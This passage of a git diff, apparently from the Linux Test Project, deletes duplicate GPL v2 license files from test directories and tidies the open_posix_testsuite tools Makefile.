-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/stress/threads/sem_open/LICENCE b/testcases/open_posix_testsuite/stress/threads/sem_open/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/sem_open/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/tools/Makefile b/testcases/open_posix_testsuite/tools/Makefile
index a6f0917..6d2f08a 100644
--- a/testcases/open_posix_testsuite/tools/Makefile
+++ b/testcases/open_posix_testsuite/tools/Makefile
@@ -4,14 +4,15 @@
 # Ngie Cooper, June 2010
 #
 
--include ../../../include/mk/config-openposix.mk
+top_srcdir ?= ..
+srcdir     =  $(top_srcdir)/tools
 
-top_srcdir?=	..
+include ../include/mk/env.mk
 
-srcdir=		$(top_srcdir)/tools
-
+.PHONY: all
 all: ../bin/t0
 
+.PHONY: clean
 clean:
 	@rm -f ../bin/t0
 
diff --git a/testcases/realtime/COPYING b/testcases/realtime/COPYING
deleted file mode 100644
index 6d45519..0000000
--- a/testcases/realtime/COPYING
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                       51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
